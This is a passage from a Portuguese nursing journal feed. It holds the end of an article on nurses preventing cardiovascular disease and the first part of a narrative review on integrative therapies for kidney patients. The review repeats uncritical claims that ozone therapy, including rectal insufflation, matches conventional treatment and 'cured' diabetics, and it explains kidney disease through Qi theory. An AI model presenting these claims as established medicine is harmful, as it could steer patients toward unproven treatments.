<p class="wp-block-paragraph">Entretanto, Vieira <em>et al</em>., (2023) apontam desafios significativos enfrentados pela enfermagem na prevenção das (DCV’s,) como a falta de recursos materiais, escassez de tecnologias, sobrecarga de trabalho e insuficiência de treinamentos específicos. Esses obstáculos comprometem a efetividade das ações preventivas e reforçam a necessidade de maior investimento em infraestrutura, capacitação e valorização da categoria.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, pesquisas mostram que o uso de protocolos apoia a tomada de decisão dos enfermeiros no manejo de DCNT incluindo doenças cardiovasculares, além de permitir uma prática mais segura. O protocolo de mapeamento de DCNT fornece, aos enfermeiros, um processo sistemático de definição da doença, diagnóstico e tratamento em condições regulares e específicas, acompanhamento, desenvolvimento e implementação, encaminhamentos e critérios de revisão, orientação e educação do paciente, implementação e avaliação dos pacientes com DCNT (Draeger <em>et al</em>,2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo evidenciou que o enfermeiro desempenha um papel fundamental na prevenção das doenças cardiovasculares, atuando de forma estratégica na promoção da saúde, na educação em hábitos de vida saudáveis, no rastreamento precoce de fatores de risco e no acompanhamento contínuo dos indivíduos acometidos pela doença. As pesquisas demonstram que as intervenções de enfermagem são determinantes para a redução da morbimortalidade cardiovascular, contribuindo significativamente para a qualidade de vida da população.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, destacou-se a necessidade de capacitação permanente dos profissionais de enfermagem, visando à atualização frente às diretrizes clínicas e às novas tecnologias de cuidado, bem como o fortalecimento do trabalho multiprofissional e da atenção integral ao paciente, principalmente nas orientações aos fatores de risco modificáveis, para promover melhor qualidade de vida.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, reforça-se a importância da implementação de políticas públicas que valorizem e ampliem a atuação preventiva do enfermeiro no contexto das doenças cardiovasculares, com vistas à promoção de um cuidado mais resolutivo, humanizado e eficiente. Novos estudos são recomendados para avaliar o impacto a longo prazo das práticas preventivas de enfermagem sobre os desfechos clínicos cardiovasculares, contribuindo para o avanço do conhecimento e a qualificação da assistência.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Portaria GM/MS no 3.008, de 4 de novembro de 2021. Institui a Estratégia de Saúde Cardiovascular na Atenção Primária à Saúde, por meio da alteração da Portaria de Consolidação GM/MS no 5, de 28 de setembro de 2017.&nbsp;</p>



<p class="wp-block-paragraph">Diário Oficial da União, Brasília, DF, 5 nov. 2021a. Disponível em:&nbsp;https://bvsms.saude.gov.br/bvs/saudelegis/gm/2021/prt3008_05_11_2021.html.&nbsp; Acesso em: 19 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Ataque cardíaco (infarto). Biblioteca Virtual em Saúde. 2025. Disponível em: https://bvsms.saude.gov.br/ataque-cardiaco-infarto/. Acesso em: 1 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BIZINOTTO, G. B. A.; PEREIRA, A. G.; MATUSIN, B. S.; LUIZE, L. M.; KOCH, J. S.;&nbsp;GALO, J. M.; BERALDO, S. O.; PORTELINHA, A. L. Z.; FERNANDES, F. E.; VITURI,&nbsp;B. B. Aspectos fisiopatológicos relacionados ao Infarto Agudo do Miocárdio e a Doença Arterial Coronariana. Brazilian Journal of Health Review, [S. l.], v. 7, n. 3, p. e70399, 2024. DOI: 10.34119/bjhrv7n3-308. Disponível em:&nbsp;https://ojs.brazilianjournals.com.br/ojs/index.php/BJHR/article/view/70399. Acesso em: 3 dec. 2025.&nbsp;</p>



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<p class="wp-block-paragraph">SANTOS, L. S.; NASCIMENTO, C. F.; OLIVEIRA, R. B. A importância da educação em saúde na prevenção das doenças cardiovasculares. Revista de Saúde Pública, v3, p. 451- 459, 2019. SILVA, M. A. et al. Atuação da enfermagem na prevenção das doenças cardiovasculares. Revista de Enfermagem Atual, Curitiba, v. 94, p. 123-134, 2020. Acesso em: 07,out,2025.&nbsp;</p>



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<p class="wp-block-paragraph">SADORA BENFICA DE SÁ; ISABELA OLIVEIRA ALMEIDA; SARAH LAÍS PENIDO MACHADO; EDUARDA VASCONCELOS POLLARINI. Infarto agudo e seus&nbsp;riscos preliminares Revisão de literatura . Brazilian Journal of Implantology and Health&nbsp;Sciences , [S. l.], v. 6, n. 9, p. 3427–3440, 2024. DOI: 10.36557/2674-&nbsp;8169.2024v6n9p3427-3440. Disponível https://bjihs.emnuvens.com.br/bjihs/article/view/3630. Acesso em: 03 dez. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail:&nbsp;abdoralmartins778@gmail.com<br><sup>2</sup>Discente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail:&nbsp;filhoadriano345@gmail.com<br><sup>3</sup>Discente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail: britojennifer49@gmail.com<br><sup>4</sup>Discente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail:&nbsp;herysonlisboa2011@hotmail.com<br><sup>5</sup>Discente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail:&nbsp;rdbetolobato@gmail.com<br><sup>6</sup>Docente do Curso Superior de Enfermagem do Instituto UNIPLAN <em>Campus</em> Bragança/Pa. e-mail:&nbsp;jamillymiranda854@gmail.com</p>
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			</item>
		<item>
		<title>ASSISTÊNCIA DE ENFERMAGEM EM PACIENTES RENAIS E USO DE TERAPIAS INTEGRATIVAS</title>
		<link>https://revistaft.com.br/assistencia-de-enfermagem-em-pacientes-renais-e-uso-de-terapias-integrativas/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 12 Dec 2025 16:54:57 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=259020</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512121354 Pedro Henrique Araújo NeivaRubens Silva DiogoOrientadora: Profª M.Sc Patrícia Silvestre Limeira RESUMO&#160; Objetivo: Discorrer sobre os benefícios que às práticas integrativas, em especial a que o tratamento com O3 pode proporcionar a pacientes acometidos com problemas renais. Metodologia A pesquisa trata-se de uma pesquisa descritiva, qualitativa onde a técnica utilizada foi da revisão [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512121354</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Pedro Henrique Araújo Neiva<br>Rubens Silva Diogo<br>Orientadora: Profª M.Sc Patrícia Silvestre Limeira</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objetivo</strong>: Discorrer sobre os benefícios que às práticas integrativas, em especial a que o tratamento com O<sub>3</sub> pode proporcionar a pacientes acometidos com problemas renais. <strong>Metodologia</strong> A pesquisa trata-se de uma pesquisa descritiva, qualitativa onde a técnica utilizada foi da revisão bibliográfica de forma narrativa.. A pesquisa foi realizada em sites, livros acadêmicos digitais, dissertações de mestrado e artigos científicos. O material foi buscado em bases de dados como: Google acadêmico, Scielo, Lilacs, ONIO, Revistas de enfermagem, e também o Ministério da saúde. <strong>Resultados</strong>: Seja com tratamentos integrativos que utilizem O<sub>3</sub>, acupuntura e/ou auriculoterapia, tratamento convencional ou até mesmo transplante renal a presença do enfermeiro no processo do cuidar é crucial. Com o crescimento significativo das doenças crônicas degenerativas e as dificuldades que elas impõem em relação à saúde, a literatura deixa claro que é necessário um reforço sistemático na educação continuada acerca de práticas integrativas e a orientação constante para população em geral, em especial para aquela que possui fatores de risco. É extremamente necessário que o profissional de enfermagem junto com seu corpo técnico compreenda de forma clara todos os aspectos clínicos da doença renal e a grande complexidade do seu tratamento. <strong>Conclusão</strong>: Dado isso é essencial difundir e pesquisar mais sobre práticas integrativas, em especial a que é realizada com O<sub>3</sub> e ao mesmo tempo realizar uma educação continuada substancial aos profissionais de enfermagem e envolvidos no referente ao assunto, para que, possam evitar a aplicação de protocolos de forma errada e/ou exagerada, causando assim efeitos adversos indesejados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Ozônio em nefropatias. Evolução nefropatias. Diabetes Mellitus. Terapias integrativas. Acupuntura em doenças renais crônicas.&nbsp;Auriculoterapia em doenças renais crônicas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objective</strong>: The purpose of this research is to discuss the benefits that integrative practices, especially the treatment with O<sub>3</sub>, can provide to patients with kidney problems.&nbsp; <strong>Methods</strong>: The research is a descriptive, qualitative research where the technique used was the bibliographic review in a narrative way. The analysis was carried out electronically on websites, in academic books, in master&#8217;s dissertations and in scientific articles. The material was searched in databases such as: Academic Google, Scielo, Lilacs, ONIO, Nursing Journals and also the Ministry of Health.&nbsp; <strong>Results</strong>: Whether with integrative treatments that use O<sub>3</sub>, acupuncture and/or auriculotherapy, conventional treatment or even kidney transplantation, the presence of nurses in the care process is crucial. With the significant growth of chronic degenerative diseases and the difficulties they impose regarding health, the literature makes it clear that there is a need for systematic reinforcement in continuing education about integrative practices and constant guidance for the general population, especially for those who have risk factors. It is extremely necessary that the nursing professional, together with their technical staff, clearly understand all the clinical aspects of kidney disease and the great complexity of its treatment.&nbsp; <strong>Conclusion</strong>: It is essential to disseminate and research more about integrative practices, especially the one that is performed with O<sub>3</sub> as well as carrying out substantial continuing education to nursing professionals and those involved in the subject, so that they can avoid the inaccurate or exaggerated application of protocols, causing unwanted adverse effects.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Ozone in nephropathies. Nephropathies evolution. Diabetes Mellitus. Integrative therapies. Acupuncture in chronic kidney disease. Auriculotherapy in chronic kidney disease.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O termo Diabetes Mellitus (DM) refere-se a um transtorno metabólico de etiologias heterogêneas, caracterizado por hiperglicemia e distúrbios no metabolismo de carboidratos, proteínas e gorduras, resultantes de defeitos da secreção e/ou da ação da insulina (BRASIL, 2013).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Uma das complicações microvasculares provenientes das alterações fisiopatológicas do Diabetes é a Nefropatia Diabética (ND), cuja alteração compromete a eliminação de metabólitos do organismo como a creatinina, fosfatos, sulfatos, ácidos úricos e ureia (ABREU, 2014).&nbsp;</p>



<p class="wp-block-paragraph">A ND tem assumido posição de destaque como causa de doença renal terminal, tendo uma relação intrínseca com as doenças cardiovasculares. O estabelecimento e a progressão para o estágio de rim terminal podem ser acelerados por diversos fatores, como: hipertensão e hiperglicemia. Além disso, a dislipidemia pode estar associada a esse quadro (ALVES et al, 2011).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Silva et al., (2015) o aumento da incidência das doenças crônicas é um fato conhecido que tem suscitado muitas discussões, constituindo, atualmente, um importante problema de saúde pública.&nbsp; A doença renal consiste em lesão renal e perda progressiva e irreversível da função dos rins. Já a Doença Renal Crônica (DRC) é a presença de lesão renal ou de nível reduzido da função renal por 03 meses ou mais, independentemente do diagnóstico.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A prevenção das doenças renais crônicas está diretamente relacionada a estilos e condições de vida das pessoas. Tratar e controlar os fatores de risco como diabetes, hipertensão, obesidade, doenças cardiovasculares e tabagismo são as principais formas de prevenir doenças renais. Essas doenças são classificadas como Doenças Crônicas Não Transmissíveis (DCNT), que respondem por cerca de 36 milhões, ou 63%, das mortes no mundo, com destaque para as doenças do aparelho circulatório, diabetes, câncer e doença respiratória crônica. No Brasil, corresponderam a 68,9% de todas as mortes, no ano de 2016. A ocorrência é muito influenciada pelos estilos e condições de vida. (BRASIL, 2022)&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico de enfermagem é essencial, pois pode nortear o comportamento do paciente, fazendo assim o enfermeiro (a) assumir um papel especial. Cabe ao profissional de enfermagem orientar e direcionar caminhos que visem alterar hábitos pessoais e/ou ambiente que possam direcionar o terceiro a um grau de saúde mais elevado e propício (GOMES, 2011).&nbsp;</p>



<p class="wp-block-paragraph">Dado isso, qual a importância da assistência de enfermagem em pacientes renais e como o uso de terapias integrativas podem inteirar-se ao tratamento e melhorar o quadro clínico dos mesmos?&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Gomes, (2011). O diagnóstico de enfermagem é essencial, pois pode nortear o comportamento do paciente, fazendo assim o enfermeiro (a) assumir um papel especial. Cabe ao profissional de enfermagem orientar e direcionar caminhos que visem alterar hábitos pessoais e/ou ambiente que possam direcionar o terceiro a um grau de saúde mais elevado e propício.&nbsp;</p>



<p class="wp-block-paragraph">A Enfermagem Brasileira conta com o aval do Conselho Federal de Enfermagem (COFEN) para a utilização de terapias complementares, ele estabelece e reconhece as terapias alternativas como especialidade e/ou qualificação profissional de Enfermagem&#8221; (COFEN, 1997).&nbsp;</p>



<p class="wp-block-paragraph">No tratamento de disfunções renais uma terapia bastante usada é a Ozonioterapia que demonstrou ampla capacidade de tratamento contra as mais diferentes afecções. No Brasil, é regulamentada pelos conselhos de Fisioterapia, Odontologia, Farmácia e Enfermagem, mas não pelo Conselho de Medicina, fato que pode culminar na redução do conhecimento sobre o assunto durante a formação profissional de estudantes de medicina e, assim, este futuro médico não aplicaria os benefícios dessa terapia no processo de acelerar a restauração da saúde. (DIAS et al, 2021)&nbsp;</p>



<p class="wp-block-paragraph">É pertinente pensar que modos de vida mudaram de forma considerável, com o passar dos anos o sedentarismo e os maus hábitos alimentares tomaram conta de diversos países emergentes e desenvolvidos, com isso, uma série de condições relacionados a saúde apareceram, entre elas, a diabete mellitus forte causador de problemas renais, dado isso houve um busca exponencial de capacitação profissional, principalmente na área de enfermagem para atender o público supracitado e de tratamentos menos invasivos que pudessem integrar o tratamento convencional buscando melhorar a condição clínica do paciente, nesta pesquisa tentaremos evidenciar estes problemas e estes tratamentos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Geral&nbsp;</strong></p>



<p class="wp-block-paragraph">Descrever a assistência de enfermagem com pacientes renais utilizando terapias integrativas no tratamento.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Retratar evolução da DM e HAS em disfunções renais crônicas.&nbsp;</li>



<li>Apresentar a eficácia de tratamentos alternativos como ozonioterapia, acupuntura e auriculoterapia em tratamento de doenças renais.&nbsp;</li>



<li>Associar aplicação do diagnóstico de enfermagem em pacientes renais crônicos.&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>REFERENCIAL TEÓRICO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>DIABETES MELLITUS&nbsp;</strong></p>



<p class="wp-block-paragraph">A DM é uma das doenças crônicas não transmissíveis mais frequentes no mundo e é responsável pela quarta principal causa de morte. É caracterizado como um distúrbio resultante da produção insuficiente ou resistência à ação da insulina.&nbsp;(SILVA. et al, 2021).&nbsp;</p>



<p class="wp-block-paragraph">A DM é uma condição que ocorre quando o corpo não sintetiza insulina suficiente ou quando o corpo não consegue utilizar quantidades normais de insulina de forma adequada, hormônio esse que regula a quantidade de glicose no sangue. O elevado nível de glicose no sangue pode causar alterar inúmeros órgãos, sendo o rim o principal acometido. Logo, a ND resulta da longa exposição à glicemia elevada, associada ao mau controle da pressão arterial, dos níveis do colesterol, do hábito de fumar e também de fatores genéticos. (SALLUM et al, 2018).&nbsp;</p>



<p class="wp-block-paragraph">Existem tipos distintos de diabetes, causados por uma complexa interação de fatores genéticos, ambientais e de estilo de vida. Neste contexto, “a desregulação metabólica associada ao diabetes pode gerar alterações fisiopatológicas secundárias em múltiplos sistemas orgânicos. Em pessoas portadoras deste distúrbio, por um período de tempo consideravelmente longo &#8211; em média dez anos, a DL pode causar inúmeras doenças crônicas como a insuficiência renal crônica, uma enfermidade que se caracteriza por lesão renal e perda progressiva e irreversível da função dos rins. Em sua fase mais avançada ela é denominada de Insuficiência Renal Crônica (IRC), visto que os rins não conseguem manter a homeostase do indivíduo. (ALMEIDA. et al, 2014).&nbsp;</p>



<p class="wp-block-paragraph">A ND é uma das principais complicações da DM e atinge aproximadamente 35% da população com a doença. Essa complicação constitui um risco adicional para doenças cardiovasculares e aumento da taxa de mortalidade, o agravamento da doença pode elevar o custo do tratamento acarretando aumento das internações hospitalares e atendimentos ambulatoriais, dentre outros. (CARVALHO et al, 2018).&nbsp;</p>



<p class="wp-block-paragraph">A ND é definida pelo aumento da excreção urinária de albumina na ausência de outras doenças renais, e é diagnosticada através da mensuração da albumina urinária. O seu aparecimento, já implica em aumento no risco cardiovascular. Nos diabéticos está associada a um risco de evolução para o óbito 100 vezes maior comparado à população não diabética e de 50 vezes se comparado a pacientes diabéticos sem nefropatia instalada (RODRIGUES JUNIOR et al, 2018).&nbsp;</p>



<p class="wp-block-paragraph">A da DRC pode ser retardada com o controle de alguns fatores de risco como Hipertensão Arterial Sistêmica (HAS), além do controle de parâmetros metabólicos, como glicemia, dislipidemia, ácido úrico e acidose. É importante lembrar que cronicidade não é sinônimo de irreversibilidade; sendo assim alguns casos de Doença Renal Crônica podem ser reversíveis espontaneamente ou com tratamento. Recomenda-se a medida da excreção urinária de albumina (EUA), realizada em amostras de urina casual, com intuito de detectar os estágios da ND. O exame deve ser feito no momento do diagnóstico de DM tipo 2 (DM2) e, após cinco anos, a partir do diagnóstico de DM tipo 1 (DM1). A presença de albumina na urina pode ser explicada por um processo inflamatório sistêmico causando danos ao endotélio dos vasos capilares e em consequência aumentando sua permeabilidade. (SOARES, et al. 2017)&nbsp;</p>



<p class="wp-block-paragraph">Conforme Júnior et al, (2013) A doença renal associada ao diabetes ocorre no contexto de hipertensão arterial como condição subjacente. A patogênese do envolvimento renal no diabetes é melhor conhecida nos casos de diabetes do tipo 1 (DM1). Acredita-se que os eventos hemodinâmicos iniciais de hiperperfusão, hipertensão e hiperfiltração glomerular causam vazamento glomerular de macromoléculas, principalmente de albumina, que resulta em espessamento da membrana basal glomerular, hipertrofia glomerular, expansão mesangial, lesão podocitária e glomerulosclerose. Estes fenômenos expressam-se clinicamente por albuminúria (inicialmente intermitente e de pequena monta e, depois, crescente e persistente) e por diminuição da taxa de filtração glomerular (TFG). Classicamente, no DM1 é possível identificar uma sequência de fases da eventual progressão à fase de doença renal estabelecida.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>HIPERTENSÃO ARTERIAL SISTÊMICA.&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A HAS foi identificada como o principal fator de risco para mortalidade em todo o mundo e um dos mais importantes fatores de risco para DRC. As alterações na pressão arterial podem ocorrer sob a influência de vários fatores, como idade, aumento da rigidez vascular, atividade do sistema nervoso simpático e não adesão ao tratamento a hipertensão é um importante marcador de risco para o declínio da função renal, uma vez que a Pressão Arterial (PA) elevada está ligada ao início e à progressão da DRC, juntamente com outros fatores de risco, como diabetes, hiperlipidemia, obesidade e tabagismo. (BESSA et al, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Os exames complementares servem para fechamento de diagnóstico da HAS entre estes estão: urina tipo 1 (a presença de proteína indica problemas nos rins causando assim a dificuldade de ingestão de potássio e excreção de potássio); dosagem de potássio (um nível acima ou abaixo do normal de potássio pode interferir na camada cardíaca que é o miocárdio e levar a diferentes tipos de arritmias cardíacas); dosagem Creatinina (o aumento da creatinina no sangue pode ser sinal de insuficiência renal e a creatinina baixa pode ser problema na nutrição); glicemia de jejum; colesterol total, LDL, HDL,<strong> </strong>triglicérides; ácido úrico; eletrocardiograma convencional (ARAÚJO et al, 2019).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>CONCEITO DE TERAPIAS INTEGRATIVAS&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">As Práticas Integrativas e Complementares (PICS) são tratamentos que utilizam recursos terapêuticos baseados em conhecimentos tradicionais, voltados para prevenir diversas doenças como depressão e hipertensão. Em alguns casos, também podem ser usados como tratamentos paliativos em algumas doenças crônicas (BRASIL, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Atualmente, o Sistema Único de Saúde (SUS) oferece, de forma integral e gratuita, 29 procedimentos de Práticas Integrativas e Complementares à população. São elas Apiterapia; Aromaterapia; Arteterapia; Ayurveda; Biodança; Bioenergética; Constelação Familiar; Cromoterapia; Dança Circular; Geoterapia; Hipnoterapia; Imposição de mão; Medicina antroposófica/antroposofia aplicada à saúde; Acupuntura; Meditação; Musicoterapia; Naturopatia; Osteopatia; Ozonioterapia;&nbsp;Fitoterapia; Quiropraxia; Reflexoterapia; Reiki; Shantala; Terapia Comunitária Integrativa; Terapias de Florais; Termalismo social/crenoterapia e Yoga. Os atendimentos começam na Atenção Básica, principal porta de entrada para o SUS (BRASIL, 2021).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Santiago (2017), há um aumento da utilização de práticas integrativas e complementares, especialmente, em países desenvolvidos. Dessa maneira, é indispensável o resgate dos principais marcos na história da saúde, que estabeleceram a<strong> </strong>Política Nacional de Práticas Integrativas e Complementares – (PNPIC) Frente a essas circunstâncias, o objetivo é sondar a capacidade que o profissional enfermeiro possui para desenvolver sua autonomia, de acordo com a PNPIC, no que diz respeito à inserção das práticas integrativas durante o cuidado em enfermagem.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3.1</strong> <strong>OZONIOTERAPIA&nbsp;</strong></p>



<p class="wp-block-paragraph">O ozônio é uma molécula triatômica composta por três átomos de oxigênio (O<sub>3</sub>). É uma estrutura instável, decompondo-se em oxigênio molecular (O<sub>2</sub>) e um oxigênio atômico, que é altamente reativo. São descritas três formas fundamentais de aplicação tópica de ozônio: água ozonizada, óleo ozonizado e gás oxigênio/ozônio. Para tratamento de condições sistêmicas, a auto-hemoterapia ozonizada (O<sub>3</sub> &#8211; AHT) é a forma de escolha. Em contraste com as modalidades terapêuticas médicas convencionais, a terapia com ozônio é bastante econômica e pode levar a uma redução acentuada dos custos médicos e das adversidades (BORGES et al, 2017).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nas palavras de Tang et al, (2017), os principais mecanismos da terapia com ozônio podem incluir os seguintes: regulação positiva da síntese de enzimas antioxidantes, como a superóxido dismutase; anti-inflamação pela regulação do inflamassoma de (NLRP3), caspase-1-p10 e IL-1β; e função antimicrobiana. [&#8230;] Portanto, doenças caracterizadas por estresse oxidativo crônico ou inflamação crônica podem se beneficiar da terapia com ozônio.&nbsp;</p>



<p class="wp-block-paragraph">O tratamento com O<sub>3</sub> possui diversas vias de administração. Entre elas a administração retal de drogas. Essa via tem sido usada desde os tempos antigos para produzir efeitos locais. Além disso, a via retal pode ser utilizada para administração sistêmica de medicamentos. a administração retal de ozônio é uma das formas mais antigas de aplicação sistêmica e local. a insuflação retal de ozônio foi proposta pela primeira vez por Aubourg (1936) para o tratamento de colite crônica e fístulas. na verdade, o efeito biológico de O<sub>3</sub> tem foi demonstrado extensivamente experimentalmente ou clinicamente. além disso, estudos pré-clínicos demonstraram a baixa toxicidade do ozônio. é por isso que a aplicação de O<sub>3</sub> agora foi estendida para tratar muitas doenças (SÁNCHEZ, 2012).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Oztosun et al, (2012) existem vários estudos que mostram que a Ozonioterapia é benéfica em diferentes entidades clínicas, como osteomielite, pleural empiema, abscessos com fístulas, feridas infectadas, doenças isquêmicas avançadas (isquemia do membro posterior), e isquemia cardíaca. Recentemente, foi relatado que Ozonioterapia tem um efeito preventivo no intestino e esôfago por diminuindo o dano ao tecido e aumentando o antioxidante atividade enzimática em modelo experimental de colite distal, enterocolite necrosante, modelo de queimadura esofágica cáustica, pancreatite necrosante aguda e nefrotoxicidade induzida por acetaminofen sugerem que a ozonioterapia pode proteger rins contra Isquemia&nbsp; e prejuízo modulando um oxidativo moderado e o estresse nitrosativo, que, por sua vez, aumenta os sistemas antioxidantes endógenos.&nbsp;</p>



<p class="wp-block-paragraph">Conforme Fernandez et al., (2021), considerando o efeito anti-inflamatório da terapia com ozônio mediado pela inibição de citocinas pró-inflamatórias destaca-se que o efeito poderia estar atuando na diminuição da creatinina no sangue. É considerado que com a inibição de citocinas pró-inflamatórias, eles ativariam as moléculas de adesão intercelular, o endotélio vascular não seria danificado, permitindo o fluxo sanguíneo para os rins, esse efeito com o aumento dos níveis de ozônio nestes pacientes já relatados conferem um caráter vasodilatador à terapia de ozônio melhorando o fluxo sanguíneo renal, pressão de filtração, taxa de filtração glomerular com aumento da filtração de creatinina, com diminuição no sangue.&nbsp;</p>



<p class="wp-block-paragraph">Os dados anedóticos relacionados a O<sub>3</sub> são encorajadores, mas na maioria dos casos alcançados são usados vários tipos de terapia. A terapia de ozônio possui as vantagens de baixo custo e poucos efeitos adversos, podendo igualar a eficácia dos tratamentos convencionais atuais. No entanto, como e quando poderemos realizar essas investigações diante da atual situação de total desinteresse das autoridades sanitárias, falta de patrocinadores específicos e o poder avassalador das indústrias farmacêuticas, que só estão interessadas em perseguir seus objetivos. Ironicamente, é possível que países menos desenvolvidos com orçamentos mínimos possam ter interesse em realizar testes pilotos que possam nos fornecer informações preciosas sobre a utilidade da ozonoterapia. Em países com poucos recursos como Cuba e surpreendentemente na Federação Russa, estabeleceu-se o uso em todos os pacientes tanto da insuflação retal quanto da infusão de solução salina ozonizada, respectivamente. Apresentaram resultados clínicos como a “cura” em pacientes diabéticos com apenas vinte tratamentos diários (10 mg diários por vinte sessões) ou excelentes resultados em todas as doenças com a infusão de poucos frascos de solução salina ozonizada para (BOCC, et al. 2011).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3.2</strong> <strong>ACUPUNTURA E AURICULOTERAPIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Conforme Melo et al (2019), a aplicação da acupuntura é uma intervenção não farmacológica complementar, com técnica milenar que utiliza a teoria do cósmico dualista, cujo equilíbrio do<em> yin e yang</em> favorece o equilíbrio humano. Tem sido usada para controlar sintomas de doenças crônicas, como dor, fadiga, náusea, vômito, depressão, ansiedade e melhora da qualidade de vida entre pacientes renais em hemodiálise e com outras condições crônicas.&nbsp;</p>



<p class="wp-block-paragraph">Apesar de evidenciada pequena produção científica advinda de profissionais enfermeiros, principalmente os latino-americanos, os estudos apontam a acupuntura como possibilidade para intervenção por profissionais enfermeiros, no cuidado ao doente renal crônico, de modo a reduzir os efeitos negativos da terapia renal substitutiva e de convivência com a doença. Desta forma, torna-se relevante estimular o uso dessa tecnologia de cuidado, enquanto corpus de saber da Enfermagem, favorecendo, assim, abordagem humanística e integral na resolução ou minimização de problemas e/ou necessidades humanas. A partir desses achados, deve-se estimular que os serviços de terapia renal substitutiva sejam espaço propício para inserir e fortalecer as práticas integrativas e complementares, a exemplo da acupuntura, na assistência da Enfermagem, por meio da inserção de enfermeiros acupunturistas. (MELO, et al. 2018)&nbsp;</p>



<p class="wp-block-paragraph">Apesar da enfermagem e a Medicina Tradicional Chinesa (MTC) apresentarem uma condução própria para seus diagnósticos em acordo com as concepções teórico filosóficas que as orientam, ambas, expressam um conjunto de sinais e sintomas, compreendido como padrões desarmônicos, foco do tratamento/terapêutica a ser empregada. Sendo assim, embora possuam linguagens diagnósticas distintas, o cerne da atenção do profissional não está na doença, mas sim nas respostas humanas aos problemas de saúde ou processos vitais produtores de desarmonias que podem estar causando ou vir a resultar em doenças. (PEREIRA, et al. 2016)&nbsp;</p>



<p class="wp-block-paragraph">Nas doenças renais, há o desequilíbrio das forças inatas e internas em que, no contexto geral, todo o organismo é envolvido. Podemos constatar isso através dos desequilíbrios fisiológicos que ocorrem em todos os órgãos: alcalose/acidose por ventilação pulmonar desordenada, resistência insulínica com envolvimento do pâncreas, hipertensão arterial com acometimento do coração, e assim sucessivamente. Na MTC, a deficiência do Energia Vital (Qi) dos rins está relacionada a variadas patologias, tais como hipertensão arterial essencial, taquicardia, hipertireoidismo, diabetes melito, nefrite crônica, infecções urogenitais, lombalgia, distúrbios menstruais, tuberculose pulmonar, entre outras. Na teoria dos cinco elementos, os rins são responsáveis pela energia inicial do ciclo e por controlar o elemento Fogo (Coração). Desta forma, na doença renal, há menor fluxo energético para todos os outros elementos e alterações cardiovasculares importantes. Através do tratamento com acupuntura/MO estimulam-se pontos específicos do sistema renal, sendo possível minimizar os efeitos das disfunções geradas por essas alterações, a fim de conduzir o organismo a melhores condições funcionais. (PATERNO, et al.&nbsp;2009).&nbsp;</p>



